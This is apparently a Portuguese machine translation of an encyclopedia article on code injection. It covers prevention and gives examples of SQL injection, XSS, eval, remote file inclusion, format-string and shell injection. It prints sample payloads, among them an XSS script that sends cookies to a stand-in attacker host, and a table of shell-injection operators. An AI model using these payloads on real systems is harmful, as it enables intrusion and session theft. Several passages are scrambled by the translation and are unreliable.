Injeção de código - Code injection

A injeção de código é a exploração de um bug do computador causado pelo processamento de dados inválidos. A injeção é usada por um invasor para introduzir (ou "injetar") código em um programa de computador vulnerável e alterar o curso de execução . O resultado de uma injeção de código bem-sucedida pode ser desastroso, por exemplo, ao permitir que vírus ou worms de computador se propaguem.

Vulnerabilidades de injeção de código ocorrem quando um aplicativo envia dados não confiáveis ​​a um intérprete . As falhas de injeção são mais frequentemente encontradas em consultas SQL , LDAP , XPath , NoSQL , comandos do sistema operacional, analisadores XML , cabeçalhos de SMTP , argumentos de programa, etc. As falhas de injeção tendem a ser mais fáceis de descobrir ao examinar o código-fonte do que por meio de testes. Scanners e fuzzers podem ajudar a encontrar falhas de injeção.

A injeção pode resultar em perda ou corrupção de dados, falta de responsabilidade ou negação de acesso . A injeção às vezes pode levar à aquisição completa do host.

Certos tipos de injeção de código são erros de interpretação, dando um significado especial à entrada do usuário. Erros de interpretação semelhantes existem fora do mundo da ciência da computação, como a rotina de comédia Who's on First? . Na rotina, há uma falha em distinguir nomes próprios de palavras regulares. Da mesma forma, em alguns tipos de injeção de código, há uma falha ao distinguir a entrada do usuário dos comandos do sistema.

As técnicas de injeção de código são populares em hacking ou cracking de sistema para obter informações, escalonamento de privilégios ou acesso não autorizado a um sistema. A injeção de código pode ser usada malevolamente para muitos propósitos, incluindo:

Em 2008, 5,66% de todas as vulnerabilidades relatadas naquele ano foram classificadas como injeção de código, o ano mais alto já registrado. Em 2015, diminuiu para 0,77%.

Uso benigno e não intencional

A injeção de código pode ser usada com boas intenções; por exemplo, alterar ou ajustar o comportamento de um programa ou sistema por meio de injeção de código pode fazer com que o sistema se comporte de uma determinada maneira sem nenhuma intenção maliciosa. A injeção de código poderia, por exemplo:

  • Apresente uma nova coluna útil que não apareceu no design original de uma página de resultados de pesquisa.
  • Oferece uma nova maneira de filtrar, ordenar ou agrupar dados usando um campo não exposto nas funções padrão do design original.
  • No que diz respeito a programas como o Dropbox , adicione partes especiais que podem ser usadas para se conectar a recursos online em um programa offline.
  • Utilize o Linux Dynamic Linker para definir uma função com o mesmo nome de certas funções libc , vincule essa função como uma biblioteca e substitua o uso da função libc.

Alguns usuários podem realizar injeção de código sem suspeitar porque a entrada que eles fornecem para um programa não foi considerada por aqueles que desenvolveram o sistema originalmente. Por exemplo:

  • O que o usuário pode considerar uma entrada válida pode conter caracteres de token ou cadeias de caracteres que foram reservados pelo desenvolvedor para ter um significado especial (talvez o "&" em "Shannon & Jason" ou aspas como em "Bub 'Slugger' McCracken ").
  • O usuário pode enviar um arquivo malformado como entrada que é manipulado normalmente em um aplicativo, mas é tóxico para o sistema receptor.

Outro uso benigno da injeção de código poderia ser a descoberta das próprias falhas de injeção, com a intenção de consertar essas falhas. Isso é conhecido como um teste de penetração de chapéu branco .

Prevenindo problemas

Para evitar problemas de injeção de código, utilize entrada segura e manipulação de saída, como:

  • Usar APIs que, se usadas corretamente, são protegidas contra todos os caracteres de entrada. Consultas parametrizadas (também conhecidas como "Consultas compiladas", "declarações preparadas", "variáveis ​​associadas") permitem mover os dados do usuário para fora da string para serem interpretados. Além disso, a API de critérios e APIs semelhantes se afastam do conceito de strings de comando a serem criadas e interpretadas.
  • Reforçando a separação de linguagem por meio de um sistema de tipo estático .
  • A validação de entrada, como a lista de permissões apenas de valores bons conhecidos, pode ser feita no lado do cliente usando JavaScript, por exemplo, ou pode ser feita no lado do servidor, que é mais seguro.
  • Codificação de entrada, por exemplo, escape de caracteres perigosos. Por exemplo, em PHP, usar a htmlspecialchars()função de escape de caracteres especiais para saída segura de texto em HTML e mysqli::real_escape_string()para isolar dados que serão incluídos em uma solicitação SQL, para proteção contra injeção de SQL.
  • Codificação de saída, ou seja, evitando ataques de injeção de HTML (XSS) contra os visitantes do site
  • HttpOnlyé um sinalizador para cookies HTTP que, quando definido, não permite a interação do script do lado do cliente com os cookies, evitando assim certos ataques XSS.
  • Desassociação de shell modular do kernel
  • Com o SQL Injection, é possível usar consultas parametrizadas , procedimentos armazenados , validação de entrada da lista de desbloqueio e muito mais para ajudar a mitigar os problemas de injeção de código.

As soluções listadas acima lidam principalmente com a injeção baseada na web de HTML ou código de script em um aplicativo do lado do servidor. Outras abordagens devem ser tomadas, no entanto, ao lidar com a injeção de código do usuário na máquina do usuário, resultando em ataques de elevação de privilégio. Algumas abordagens usadas para detectar e isolar injeções de código gerenciado e não gerenciado são:

  • Validação de hash de imagem de tempo de execução - capture um hash de uma parte ou imagem completa do executável carregado na memória e compare-o com o hash armazenado e esperado.
  • Bit NX - todos os dados do usuário são armazenados em seções de memória especiais marcadas como não executáveis. O processador fica ciente de que não existe nenhum código naquela parte da memória e se recusa a executar qualquer coisa encontrada lá.
  • Canários - coloque valores aleatoriamente em uma pilha. Em tempo de execução, um canário é verificado quando uma função retorna. Se um canário foi modificado, o programa para a execução e sai. Isso ocorre em um ataque de estouro de pilha .
  • [In C] Code Pointer Masking (CPM) - depois de carregar um ponteiro de código (potencialmente alterado) em um registro, aplique uma máscara de bits ao ponteiro. Isso restringe efetivamente os endereços aos quais o ponteiro pode se referir.

Exemplos

injeção SQL

A injeção de SQL aproveita a sintaxe de SQL para injetar comandos que podem ler ou modificar um banco de dados ou comprometer o significado da consulta original.

Por exemplo, considere uma página da web que possui dois campos para permitir que os usuários insiram um nome de usuário e uma senha. O código por trás da página irá gerar uma consulta SQL para verificar a senha na lista de nomes de usuário:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

Se esta consulta retornar alguma linha, o acesso será concedido. No entanto, se o usuário malicioso inserir um nome de usuário válido e injetar algum código válido ( password' OR '1'='1) no campo Senha, a consulta resultante será semelhante a esta:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

No exemplo acima, "Senha" é considerado um espaço em branco ou alguma string inócua. " '1'='1'" sempre será verdadeiro e muitas linhas serão retornadas, permitindo o acesso.

A técnica pode ser refinada para permitir a execução de várias instruções ou até mesmo para carregar e executar programas externos.

Suponha uma consulta com o seguinte formato:

SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '

Se um adversário tem o seguinte para entradas:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

a consulta será analisada para ser:

SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

O resultado é que a tabela Userserá removida do banco de dados. Isso ocorre porque o ;símbolo significa o fim de um comando e o início de um novo. --significa o início de um comentário.

Cross-site scripting

A injeção de código é a injeção ou introdução maliciosa de código em um aplicativo. Alguns servidores da web têm um script de livro de visitas , que aceita pequenas mensagens de usuários e normalmente recebe mensagens como:

Very nice site!

No entanto, uma pessoa mal-intencionada pode saber de uma vulnerabilidade de injeção de código no livro de visitas e inserir uma mensagem como:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Se outro usuário visualizar a página, o código injetado será executado. Este código pode permitir que o invasor se faça passar por outro usuário. No entanto, esse mesmo bug de software pode ser acionado acidentalmente por um usuário despretensioso, o que fará com que o site exiba um código HTML incorreto.

A injeção de HTML e script é um assunto popular, comumente denominado " script entre sites " ou "XSS". XSS refere-se a uma falha de injeção por meio da qual a entrada do usuário em um script da web ou algo semelhante é colocada no HTML de saída, sem ser verificada quanto a código HTML ou script.

Muitos desses problemas estão relacionados a suposições errôneas de quais dados de entrada são possíveis ou os efeitos de dados especiais.

Vulnerabilidades de avaliação dinâmica

Uma vulnerabilidade de injeção ocorre quando um invasor pode controlar toda ou parte de uma string de entrada que é alimentada em uma chamada de função. eval()eval()

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

O argumento de " eval" será processado como PHP , portanto, comandos adicionais podem ser anexados. Por exemplo, se "arg" é definido como " ", um código adicional é executado, o que executa um programa no servidor, neste caso " ". 10; system('/bin/echo uh-oh')/bin/echo

Injeção de objeto

PHP permite a serialização e desserialização de objetos inteiros . Se a entrada não confiável for permitida na função de desserialização, é possível sobrescrever as classes existentes no programa e executar ataques maliciosos. Esse tipo de ataque ao Joomla foi encontrado em 2013.

Injeção de arquivo remoto

Considere este programa PHP (que inclui um arquivo especificado por solicitação):

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

O exemplo pode ser lido apenas como arquivos de cores semelhantes blue.phpe red.phppode ser carregado, enquanto os invasores podem COLOR=http://evil.com/exploitfazer com que o PHP carregue o arquivo externo.

Injeção de especificador de formato

Os erros de string de formato aparecem mais comumente quando um programador deseja imprimir uma string contendo dados fornecidos pelo usuário. O programador pode escrever por engano em printf(buffer)vez de printf("%s", buffer). A primeira versão é interpretada buffercomo uma string de formato e analisa todas as instruções de formatação que ela possa conter. A segunda versão simplesmente imprime uma string na tela, como o programador pretendia. Considere o seguinte programa em C curto que possui uma variável local char array passwordque contém uma senha; o programa pede ao usuário um inteiro e uma string e, em seguida, ecoa a string fornecida pelo usuário.

  char user_input[100];
  int int_in;
  char password[10] = "Password1";

  printf("Enter an integer\n");
  scanf("%d", &int_in);
  printf("Please enter a string\n");
  fgets(user_input, sizeof(user_input), stdin);
  
  printf(user_input); // Safe version is: printf("%s", user_input);  
  printf("\n");

  return 0;

Se a entrada do usuário for preenchida com uma lista de especificadores de formato, como %s%s%s%s%s%s%s%s, então printf()começará a leitura da pilha . Eventualmente, um dos %sespecificadores de formato acessará o endereço de password, que está na pilha, e imprimirá Password1na tela.

Injeção de casca

A injeção de shell (ou injeção de comando) tem o nome de shells Unix , mas se aplica à maioria dos sistemas que permitem que o software execute programaticamente uma linha de comando . Aqui está um exemplo de script tcsh vulnerável :

#!/bin/tcsh
# check arg outputs it matches if arg is one 
if ($1 == 1) echo it matches

Se o acima for armazenado no arquivo executável ./check, o comando shell ./check " 1 ) evil"tentará executar o comando shell injetado em evilvez de comparar o argumento com o constante. Aqui, o código sob ataque é o código que está tentando verificar o parâmetro, o mesmo código que pode estar tentando validar o parâmetro para se defender contra um ataque.

Qualquer função que possa ser usada para compor e executar um comando shell é um veículo potencial para lançar um ataque de injeção de shell. Entre eles estão system(), StartProcess()e System.Diagnostics.Process.Start().

Os sistemas cliente-servidor , como a interação do navegador da web com servidores da web, são potencialmente vulneráveis ​​à injeção de shell. Considere o seguinte programa PHP curto que pode ser executado em um servidor da web para executar um programa externo chamado funnytextpara substituir uma palavra enviada pelo usuário por outra palavra.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

O exemplo passthruacima compõe um comando shell que é então executado pelo servidor web. Como parte do comando que ele compõe é obtido da URL fornecida pelo navegador da web, isso permite que a URL injete comandos de shell maliciosos. Pode-se injetar código neste programa de várias maneiras, explorando a sintaxe de vários recursos do shell (esta lista não é exaustiva):

Recurso Shell USER_INPUT valor Comando shell resultante Explicação
Execução sequencial ; malicious_command /bin/funnytext ; malicious_command Executa e funnytext, em seguida, executa malicious_command.
Pipelines | malicious_command /bin/funnytext | malicious_command Envia a saída de funnytextcomo entrada para malicious_command.
Substituição de comando `malicious_command` /bin/funnytext `malicious_command` Envia a saída de malicious_commandcomo argumentos para funnytext.
Substituição de comando $(malicious_command) /bin/funnytext $(malicious_command) Envia a saída de malicious_commandcomo argumentos para funnytext.
E lista && malicious_command /bin/funnytext && malicious_command Executa malicious_command iff funnytext retorna um status de saída 0 (sucesso).
Lista OR || malicious_command /bin/funnytext || malicious_command Executa malicious_command iff funnytext retorna um status de saída diferente de zero (erro).
Redirecionamento de saída > ~/.bashrc /bin/funnytext > ~/.bashrc Substitui o conteúdo do .bashrcarquivo com a saída de funnytext.
Redirecionamento de entrada < ~/.bashrc /bin/funnytext < ~/.bashrc Envia o conteúdo do .bashrcarquivo como entrada para funnytext.

Algumas linguagens oferecem funções para escapar ou colocar aspas adequadamente nas strings que são usadas para construir comandos de shell:

No entanto, isso ainda sobrecarrega os programadores para saber / aprender sobre essas funções e se lembrar de fazer uso delas sempre que usarem comandos shell. Além de usar essas funções, também é recomendável validar ou higienizar a entrada do usuário.

Uma alternativa mais segura é usar APIs que executam programas externos diretamente, em vez de por meio de um shell, evitando assim a possibilidade de injeção de shell. No entanto, essas APIs tendem a não oferecer suporte a vários recursos convenientes de shells e / ou a ser mais complicadas / prolixas em comparação com a sintaxe concisa de shell.

Veja também

Referências

links externos